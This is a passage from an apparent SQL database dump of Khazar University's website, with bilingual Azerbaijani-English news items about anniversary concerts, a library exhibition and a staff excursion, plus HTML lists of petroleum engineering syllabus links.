universitetin 25 illiyinə həsr olunmuş\r\nnövbəti solo konserti oldu. Konsertdə universitetin rəhbərliyi, əməkdaşları, tələbələri,\r\nvalideynlər iştirak edirdilər. Xalq artistləri Roza Cəlilova, Cəmilə Bayramova,\r\nəməkdar artist Xanlar Bəşirov tədbirin qonaqları idilər. Müslüm Maqomayev adına\r\nAzərbaycan Dövlət Filarmoniyasının Mahnı və Rəqs Ansamblı da Xəzər\r\nUniversitetini təbrik etməyə gəlmişdi.<o:p></o:p></p>\r\n<p>Musiqi və incəsənət departamentin müdiri dosent\r\nZülfiyyə Sadıqovanın giriş sözündən sonra&nbsp; Müslüm Maqomayev adına Azərbaycan\r\nDöövlət Filarmoniyasının Mahnı və Rəqs Ansamblı (bədii rəhbər&nbsp; xalü\r\nartisti professor Ağaverdi Paşayev, baletmeyster xalq artisti Cəmilə Bayramova,\r\nsolist və quruluşçu ansamblın solisti, Xəzər Universitetinin müəllimi Telman\r\nƏliyev) tədbiri açaraq, “Qazağı” rəqsini ifa etdi. </p>\r\n<p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı&nbsp; çıxış edərək, universitetdə ötən\r\nillər ərzində təhsillə yanaşı musiqi və incəsənət sahəsində görülmüş işlərdən\r\ndanışdı, xalq artisti Cəmilə Bayarmova və əməkdar artist Xanlar Bəşirovun xidmətlərini\r\nxüsusi vurğuladı.</p>\r\n<p>Universitetin rəqs ansamblının fəaliyyətini əks\r\netdirən slayd&nbsp; və videomateraillar nümayiş olundu.</p>\r\n<p>Xalq artisti Cəmilə Bayramova və əməkdar artist\r\nXanlar Bəşirov&nbsp; “Naz eləmə”, universitetin məzunu Zərinə Təhməzova\r\n“Qavalla rəqs” rəqslərini ifa etdilər.</p>\r\n<p>Sonra universitetin müəllimi Səbinə İsmayıova və əməkdar\r\nartist Telman Əliyevin rəhbərlik etdikləri rəqs ansamlının konserti oldu. Tələbələr\r\nAzərbaycan milli rəqslərini, müasir rəqsləri ifa etdilər. Ustad rəqqasların və\r\ntələbələrin ifalarə tamaşaçılar tərəfindən alğışlarla qarşılandı.</p>\r\n<p>Xalq artisti Roza Cəlilova çıxıç edərək, tələbə rəqqasların\r\nkonsertini yüksək qiymətləndirdi, universiteti 25 illik yubileyi münasibətilə təbrik\r\netdi.</p>\r\n<p>Sonda konsert iştirakçıları səhnəyə dəvət edilərək,\r\ntamaşaçılara təqdim olundular və onlara gül dəstələri verildi.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Khazar\r\nUniversity’s 25th Anniversary Concert</strong></p>\r\n<p>&nbsp;</p>\r\n<p>On\r\nJune 9th, a solo concert of the student dance ensemble was held in the Concert\r\nHall on Khazar University’s Downtown Campus in honor of the university’s 25<sup>th</sup>\r\nanniversary. The concert was organized by the Department of Music and Fine\r\nArts. The audience included university administrators, faculty and staff,\r\nstudents, and parents. People’s Artists Roza Jalilova and Jamila Bayramova as\r\nwell as Meritorious Artist Khanlar Bashirov also attended. Muslum Magomayev\r\nAzerbaijan State Philharmonic’s Song and Dance Ensemble came to congratulate\r\nKhazar University. </p>\r\n<p>Associate Professor Zulfiyya Sadigova,\r\nHead of the Department of Music and Fine Arts, opened the event. Then “Gazaghi”\r\nwas performed by Muslum Magomayev Azerbaijan State\r\nPhilharmonic’s Song and Dance Ensemble (Artistic Director- People’s Artist\r\nProfessor Aghaverdi Pashayev, Choreographer – People’s Artist Jamila Bayramova,\r\nsoloist – Khazar University instructor Telman Aliyev). </p>\r\n<p>Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, made a speech in which\r\nhe spoke about the university’s achievements in music and the arts alongside\r\neducation in the past years. He also especially noted the contributions of People’s\r\nArtist Jamila Bayramova and Meritorious Artist Khanlar Bashirov. </p>\r\n<p>A slideshow and video of the university dance\r\nensemble’s activities were shown. People’s Artist Jamila Bayramova and\r\nMeritorious Artist Khanlar Bashirov performed “Naz eleme,” and university\r\nalumna Zarina Tahmazova performed “Gavalla Dance.” </p>\r\n<p>Then the student dance ensembles led by instructors\r\nSabina Ismailova and Meritorious Artist Telman Aliyev performed a concert.\r\nStudents performed Azerbaijan national dances and modern dances.</p>\r\n<p>People’s Artist Roza Jalilova made a speech to close\r\nthe event, congratulating the university on its 25<sup>th</sup> anniversary.\r\nThen performers were introduced and given flowers.&nbsp;</p>'),(1939,1187,'en','Concert in Honor of Khazar’s 25th Anniversary ','On June 9, 2016 at 18:00, a concert organized by the Department of Music and Fine Arts will be held on Khazar University’s Downtown Campus (122 Bashir Safaroghlu St).','<p>On June 9, 2016 at 18:00, a concert\r\norganized by the Department of Music and Fine Arts will be held on Khazar\r\nUniversity’s Downtown Campus (122 Bashir Safaroghlu St). Faculty, staff and\r\nanyone interested in the exhibition are welcome to attend. </p>\r\n<p>&nbsp;</p>'),(1940,1188,'az','Sumqayıtda Xəzər Universitetinin 25 illiyinə həsr olunmuş konsert olacaq','2016-cı il iyunun 10-da saat 14.00-də Sumqayıt şəhərindəki “28 may” Mədəniyyət sarayında Musiqi və incəsənət departamentinin təşkilatçılığı Xəzər Universiteti Kamera  orkestrinin universitetin 25 illiyinə həsr olunmuş konserti olacaq. ','<p>2016-cı il iyunun 10-da saat 14.00-də Sumqayıt şəhərindəki “28 may” Mədəniyyət\r\nsarayında Musiqi və incəsənət departamentinin təşkilatçılığı Xəzər Universiteti\r\nKamera&nbsp; orkestrinin universitetin 25 illiyinə həsr olunmuş konserti\r\nolacaq.&nbsp;</p>'),(1941,1188,'en','Concert in Sumgayit Honor of Khazar’s 25th Anniversary ','On June 10, 2016 at 14:00, a concert of the Khazar University Chamber Orchestra organized by the Department of Music and Fine Arts will be held at 28 May Cultural Center in Sumgayit in honor of the University’s 25th anniversary. ','<p>On June 10, 2016 at 14:00, a concert of\r\nthe Khazar University Chamber Orchestra organized by the Department of Music\r\nand Fine Arts will be held at 28 May Cultural Center in Sumgayit in honor of\r\nthe University’s 25<sup>th</sup> anniversary.&nbsp;</p>'),(2417,1461,'en','Library and Information Center Exhibition in Dunya School ','On October 26, 2016 at 14:00, Khazar University’s Library and Information Center staff members Saida Orujova (China Corner project manager) and Esmira Mehdiyeva...','<p>On October 26,\r\n2016 at 14:00, Khazar University’s Library and Information Center staff members\r\nSaida Orujova (China Corner project manager) and Esmira Mehdiyeva (coordinator)\r\nwill open an exhibition entitled “Chinese Folk Games and Exhibit of Chinese Books”\r\nfor the students of the university’s affiliate Dunya School. Everyone is\r\nwelcome to attend.&nbsp;</p>'),(2414,1466,'en','Syllabus','Syllabus','<h3 style=\"font-weight:bold\">Spring 2018</h3><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Design_and_Development_of_Oil_and_Gas_Fields-Jabrayil_Eyvazov.pdf\">Design and Development of Oil and Gas Fields</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/General_Geology-Gasham_Zeynalov.pdf\">General Geology</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Introduction_to_Fluid_Mechanics-Masud_Mehrizadeh.pdf\">Introduction to Fluid Mechanics</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Petroleum_Economics-Araz_Asadov.pdf\">Petroleum Economics</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Well_Completion-Samir_Valiyev.pdf\">Well Completion</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Reservoir_Petrophysics.pdf\">Reservoir Petrophysics</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Petroleum_Reservoir_Management_and_Evaluation_Ehsan_Jafari.pdf\">Petroleum Reservoir Management and Evaluation</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Advanced_Petroleum_Production%20Technology_-_Tahir_Mammadov.pdf\">Advanced Petroleum Production Technology</a><br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Petroleum_Production_Engineering_2.pdf\">Petroleum\r\nProduction Engineering 2</a><br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Advanced_Petroelum_Reservoir_Engineering_Tahir_Mammadov.pdf\">Advanced\r\nPetroleum Reservoir Engineering</a><br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Petroleum_Engineering_Design_Masoud_Mehrizade.pdf\">Petroleum\r\nEngineering Design</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Engineering_Mechanics.pdf\">Engineering Mechanics</a><br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Petroleum_Reservoir_Engineering_Masoud_Mehrizada.pdf\">Petroleum Reservoir Engineering</a><br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Design_and_Development_of_Oil_and_Gas_Fields_Ehsan_Jafari.pdf\">Design and Development of Oil and Gas Fields</a><br></p><p><br></p><p><br></p><h3 style=\"font-weight:bold\">Fall 2017</h3><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Introduction_to_Petroleum_Engineering-Fall2017.pdf\">Introduction to Petroleum Engineering</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Physics_of_oil_and_gas_reservoirs-Fall2017.pdf\">Physics of oil and gas reservoirs</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Drilling_Engineering-Fall_2017.pdf\">Drilling Engineering</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Petroleum_Geology-fall2017.pdf\">Petroleum Geology</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Petroleum_Production_Engineering1-Fall2017.pdf\">Petroleum Production Engineering 1</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Petroleum_Reservoir_Simulation-Fall2017.pdf\">Petroleum Reservoir Simulation</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Gas_and_Gas-Condensate_Reservoir_engineering-Fall2017.pdf\">Gas and Gas-Condensate&nbsp;Reservoir Engineering</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Fluid_Mechanics_for_Petroleum_Engineers-Fall%202017.pdf\">Fluid Mechanics&nbsp;for Petroleum Engineering</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Petroleum_Geoscience-Fall2017.pdf\">Petroleum Geoscience</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Formation_Evaluation-Fall2017.pdf\">Formation Evaluation</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-AdvancedDrillingEngineering-Fall2017.pdf\">Advanced Drilling Engineering</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Well_Stimulation-methods-Fall2017.pdf\">Well Stimulation</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Advanced_Gas_and_Gas-Condensate_Rereservoir_engineering-Fall2017-2018.pdf\">Advanced&nbsp;Gas and&nbsp;Gas-Condensate&nbsp;Reservoir&nbsp;Engineering</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Fluid_Flow_in_porous_media-Fall2017.pdf\">Fluid Flow in Porous Media</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Numerical_Reservoir_Simulation-Fall2017.pdf\">Numerical Reservoir Simulation</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Enhanced_Oil_Recovery-Fall2017.pdf\">Enhanced Oil Recovery</a></p><p><br></p><p><br></p><p><strong>Spring 2017</strong></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_Advanced%20Petroelum%20Reservoir%20Engineering-Spring%2C%202017.docx\">Syllabus&nbsp;Advanced Petroelum Reservoir Engineering-Spring&nbsp;2017 </a> <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_Advanced_Petroleum_Production_Technology%2CSpring-2017.docx\">Syllabus&nbsp;Advanced&nbsp;Petroleum&nbsp;Production&nbsp;Technology-Spring&nbsp;2017 </a> <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_%20Design%20%20and%20Development%20of%20Oil%20and%20Gas%20Fields%2C%20Spring%202017.docx\">Syllabus&nbsp;Design &nbsp;and Development of Oil and Gas Fields, Spring 2017</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus-Well%20Completion%2C%20Spring_2017.doc\">Syllabus&nbsp;Well Completion, Spring&nbsp;2017</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus%20_Petroleum%20Reservoir%20Management%20and%20Evaluation%2C%20Spring%2C%202017.docx\">Syllabus Petroleum Reservoir Management and Evaluation, Spring 2017 </a> <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_Petroleum_Production_Engineering%2C%20Spring-2017.docx\">Syllabus&nbsp;Petroleum&nbsp;Production&nbsp;Engineering, Spring&nbsp;2017</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Petroleum-Reservoir_Engineering%2C%20Spring%2C%202017.docx\">Petroleum&nbsp;Reservoir&nbsp;Engineering, Spring 2017 </a> <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/ReservoirPetrophysics_Spring%2C%202017.docx\">Reservoir&nbsp;Petrophysics,&nbsp;Spring&nbsp;2017</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/PetEcononomicsSyllabus%2C%20Spring%2C2017.doc\">Syllabus  PetEcononomics, Spring,2017</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Fluid%20Mechanics%20for%20Petroleum%20Engineers%2C%20Spring%202017.docx\">Fluid Mechanics for Petroleum Engineers, Spring 2017 </a> <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Introduction%20to%20Fluid%20Mechanics%2C%20Spring%2C2017.docx\">Introduction to Fluid Mechanics, Spring&nbsp;2017 </a> <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/General%20Geology%2C%20Spring%2C%202017.docx\">General Geology, Spring&nbsp;2017&nbsp;</a></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p><strong>Fall 2016</strong></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Advanced%20DrillingEngineering%20Fall2016%202%20(1).doc\">Advanced DrillingEngineering Fall2016 2 (1)</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Drilling%20Engineering%20Fall_2016%202.doc\">Drilling Engineering Fall_2016 (2)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/FormationEvaluation%2CFall-2016.docx\">FormationEvaluation,Fall-2016&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Introduction%20%20to%20Petroleum%20Engineering_Fall%2C2016.pdf\">Introduction &nbsp;to Petroleum Engineering_Fall,2016&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Numerical%20Reservoir%20Simulation%2CFall-2016.docx\">Numerical Reservoir Simulation,Fall-2016&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Petroleum%20Reservoir%20Simulation%2C%20Fall-%202016.docx\">Petroleum Reservoir Simulation, Fall- 2016&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus%20in%20Petroleum%20Geology%2C%20fall%2C2016.docx\">Syllabus in Petroleum Geology, fall,2016&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus%20in%20PetroleumGeoscience%20(Fall%2C2016).docx\">Syllabus in PetroleumGeoscience (Fall,2016)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus-%20Physics%20of%20oil%20and%20gas%20reservoirs%20(1).docx\">Syllabus- Physics of oil and gas reservoirs (1)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_%20Enhanced%20Oil%20Recovery%20methods_Fall2016.docx\">Syllabus&nbsp;Enhanced Oil Recovery methods&nbsp;Fall2016&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_%20Fluid%20Flow%20in%20porous%20media_Fall2016.docx\">Syllabus&nbsp;&nbsp;Fluid Flow in porous media&nbsp;Fall2016</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_%20Well%20Stimulation%20methods_Fall2016%20%20.docx\">Syllabus&nbsp;Well Stimulation methods&nbsp;Fall2016&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_Advanced%20Gas%20and%20Gas-Condensate%20Rereservoir%20engineering%20-%202016-2017%20-MSc.docx\">Syllabus&nbsp;Advanced Gas and Gas-Condensate Rereservoir engineering - 2016-2017 -MSc</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus-Gas%20and%20Gas%20Condensate%20Reservoir%20Engineering%20(5).docx\">Syllabus-Gas and Gas Condensate Reservoir Engineering (5) </a> <br></p><div><br></div><div><br></div><div><br></div>'),(2415,1466,'az','Sillabuslar','Sillabuslar','<h3 style=\"font-weight:bold\">Yaz&nbsp;2018</h3><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Design_and_Development_of_Oil_and_Gas_Fields-Jabrayil_Eyvazov.pdf\">Design and Development of Oil and Gas Fields</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/General_Geology-Gasham_Zeynalov.pdf\">General Geology</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Introduction_to_Fluid_Mechanics-Masud_Mehrizadeh.pdf\">Introduction to Fluid Mechanics</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Petroleum_Economics-Araz_Asadov.pdf\">Petroleum Economics</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Well_Completion-Samir_Valiyev.pdf\">Well Completion</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Reservoir_Petrophysics.pdf\">Reservoir Petrophysics</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Petroleum_Reservoir_Management_and_Evaluation_Ehsan_Jafari.pdf\">Petroleum Reservoir Management and Evaluation</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Advanced_Petroleum_Production%20Technology_-_Tahir_Mammadov.pdf\">Advanced Petroleum Production Technology</a><br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Petroleum_Production_Engineering_2.pdf\">Petroleum\r\nProduction Engineering 2</a><br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Advanced_Petroelum_Reservoir_Engineering_Tahir_Mammadov.pdf\">Advanced\r\nPetroleum Reservoir Engineering</a><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Petroleum_Engineering_Design_Masoud_Mehrizade.pdf\"><br></a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Petroleum_Engineering_Design_Masoud_Mehrizade.pdf\">Petroleum\r\nEngineering Desig<br></a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Engineering_Mechanics.pdf\">Engineering Mechanics</a><br><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Petroleum_Engineering_Design_Masoud_Mehrizade.pdf\"></a></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/petroleum_depart/Petroleum_Reservoir_Engineering_Masoud_Mehrizada.pdf\">Petroleum Reservoir Engineering</a><br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Design_and_Development_of_Oil_and_Gas_Fields_Ehsan_Jafari.pdf\">Design and Development of Oil and Gas Fields</a></p><p><br></p><p><br></p><h3><strong>Payız 2017</strong></h3><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Introduction_to_Petroleum_Engineering-Fall2017.pdf\">Introduction to Petroleum Engineering</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Physics_of_oil_and_gas_reservoirs-Fall2017.pdf\">Physics of oil and gas reservoirs</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Drilling_Engineering-Fall_2017.pdf\">Drilling Engineering</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Petroleum_Geology-fall2017.pdf\">Petroleum Geology</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Petroleum_Production_Engineering1-Fall2017.pdf\">Petroleum Production Engineering 1</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Petroleum_Reservoir_Simulation-Fall2017.pdf\">Petroleum Reservoir Simulation</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Gas_and_Gas-Condensate_Reservoir_engineering-Fall2017.pdf\">Gas and Gas-Condensate Reservoir Engineering</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Fluid_Mechanics_for_Petroleum_Engineers-Fall%202017.pdf\">Fluid Mechanics&nbsp;for Petroleum Engineering</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Petroleum_Geoscience-Fall2017.pdf\">Petroleum Geoscience</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Formation_Evaluation-Fall2017.pdf\">Formation Evaluation</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-AdvancedDrillingEngineering-Fall2017.pdf\">Advanced Drilling Engineering</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Well_Stimulation-methods-Fall2017.pdf\">Well Stimulation</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Advanced_Gas_and_Gas-Condensate_Rereservoir_engineering-Fall2017-2018.pdf\">Advanced Gas and Gas-Condensate Reservoir Engineering</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Fluid_Flow_in_porous_media-Fall2017.pdf\">Fluid Flow in Porous Media</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Numerical_Reservoir_Simulation-Fall2017.pdf\">Numerical Reservoir Simulation</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus-Enhanced_Oil_Recovery-Fall2017.pdf\">Enhanced Oil Recovery</a></p><p><br></p><p><strong>Yaz 2017</strong></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_Advanced%20Petroelum%20Reservoir%20Engineering-Spring%2C%202017.docx\">Syllabus&nbsp;Advanced Petroelum Reservoir Engineering-Spring&nbsp;2017 </a> <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_Advanced_Petroleum_Production_Technology%2CSpring-2017.docx\">Syllabus&nbsp;Advanced&nbsp;Petroleum&nbsp;Production&nbsp;Technology-Spring&nbsp;2017 </a> <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_%20Design%20%20and%20Development%20of%20Oil%20and%20Gas%20Fields%2C%20Spring%202017.docx\">Syllabus&nbsp;Design &nbsp;and Development of Oil and Gas Fields, Spring 2017</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus-Well%20Completion%2C%20Spring_2017.doc\">Syllabus&nbsp;Well Completion, Spring&nbsp;2017</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus%20_Petroleum%20Reservoir%20Management%20and%20Evaluation%2C%20Spring%2C%202017.docx\">Syllabus Petroleum Reservoir Management and Evaluation, Spring 2017 </a> <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_Petroleum_Production_Engineering%2C%20Spring-2017.docx\">Syllabus&nbsp;Petroleum&nbsp;Production&nbsp;Engineering, Spring&nbsp;2017</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Petroleum-Reservoir_Engineering%2C%20Spring%2C%202017.docx\">Petroleum&nbsp;Reservoir&nbsp;Engineering, Spring 2017 </a> <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/ReservoirPetrophysics_Spring%2C%202017.docx\">Reservoir&nbsp;Petrophysics,&nbsp;Spring&nbsp;2017</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/PetEcononomicsSyllabus%2C%20Spring%2C2017.doc\">Syllabus  PetEcononomics, Spring,2017</a>  <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Fluid%20Mechanics%20for%20Petroleum%20Engineers%2C%20Spring%202017.docx\">Fluid Mechanics for Petroleum Engineers, Spring 2017 </a> <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Introduction%20to%20Fluid%20Mechanics%2C%20Spring%2C2017.docx\">Introduction to Fluid Mechanics, Spring&nbsp;2017 </a> <br></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/General%20Geology%2C%20Spring%2C%202017.docx\">General Geology, Spring&nbsp;2017&nbsp;</a></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p><strong>Payız 2016</strong></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Advanced%20DrillingEngineering%20Fall2016%202%20(1).doc\">Advanced DrillingEngineering Fall2016 2 (1)</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Drilling%20Engineering%20Fall_2016%202.doc\">Drilling Engineering Fall_2016 (2)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/FormationEvaluation%2CFall-2016.docx\">FormationEvaluation,Fall-2016&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Introduction%20%20to%20Petroleum%20Engineering_Fall%2C2016.pdf\">Introduction &nbsp;to Petroleum Engineering_Fall,2016&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Numerical%20Reservoir%20Simulation%2CFall-2016.docx\">Numerical Reservoir Simulation,Fall-2016&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Petroleum%20Reservoir%20Simulation%2C%20Fall-%202016.docx\">Petroleum Reservoir Simulation, Fall- 2016&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus%20in%20Petroleum%20Geology%2C%20fall%2C2016.docx\">Syllabus in Petroleum Geology, fall,2016&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus%20in%20PetroleumGeoscience%20(Fall%2C2016).docx\">Syllabus in PetroleumGeoscience (Fall,2016)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus-%20Physics%20of%20oil%20and%20gas%20reservoirs%20(1).docx\">Syllabus- Physics of oil and gas reservoirs (1)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_%20Enhanced%20Oil%20Recovery%20methods_Fall2016.docx\">Syllabus&nbsp;Enhanced Oil Recovery methods&nbsp;Fall2016&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_%20Fluid%20Flow%20in%20porous%20media_Fall2016.docx\">Syllabus&nbsp;&nbsp;Fluid Flow in porous media&nbsp;Fall2016</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_%20Well%20Stimulation%20methods_Fall2016%20%20.docx\">Syllabus&nbsp;Well Stimulation methods&nbsp;Fall2016&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus_Advanced%20Gas%20and%20Gas-Condensate%20Rereservoir%20engineering%20-%202016-2017%20-MSc.docx\">Syllabus&nbsp;Advanced Gas and Gas-Condensate Rereservoir engineering - 2016-2017 -MSc</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/petroleum_depart/Syllabus-Gas%20and%20Gas%20Condensate%20Reservoir%20Engineering%20(5).docx\">Syllabus-Gas and Gas Condensate Reservoir Engineering (5)&nbsp;</a></p>'),(2416,1460,'en','Khazar University Staff Member Visits Botanical Garden','On October 23, 2016, Gunel Ismayilova, Assistant of the Department of Azerbaijani Language and Literature, coordinated a trip to the Azerbaijan National Academy of Sciences’ Botanical...','<p>On October 23, 2016, Gunel Ismayilova, Assistant of the\r\nDepartment of Azerbaijani Language and Literature, coordinated a trip to the\r\nAzerbaijan National Academy of Sciences’ Botanical Garden in Mardakan as part\r\nof her efforts to promote Azerbaijani history, culture, and arts to foreign\r\ncitizens living in Baku. She has organized several such excursions for the\r\nforeign teachers working at the Baku American Center, where Ismayilova participates\r\nin English language classes taught by Americans visiting Baku through the\r\nFulbright Program at the Center’s “English Language Club.” In addition to\r\nlearning English at the Center, Ismayilova makes a point to introduce Fulbright\r\nscholars and other members of the Club to local attractions and events. During\r\nthis particular excursion, the group visited the House Museums of Sergey\r\nYesenin (Russian poet who lived in Azerbaijan in the 20th century) and Murtuza\r\nMukhtarov. They also enjoyed the Botanical Garden, where employees told them\r\nabout local flora and the history of the area. The foreign students in the\r\ngroup shared positive impressions from the day and said they would like to\r\nparticipate in similar events in the future.&nbsp;</p>'),(589,355,'en','Faculty Graduation Council','Faculty Graduation Council','<p>&nbsp;</p><p><img width=\"500\" height=\"357\" src=\"http://www.khazar.org/files/image/15_10_14_cap.jpg\" v:shapes=\"Picture_x0020_1\" style=\"border: 0px rgb(0, 0, 0); width: 492px; height: 200px; margin: 7px; float: 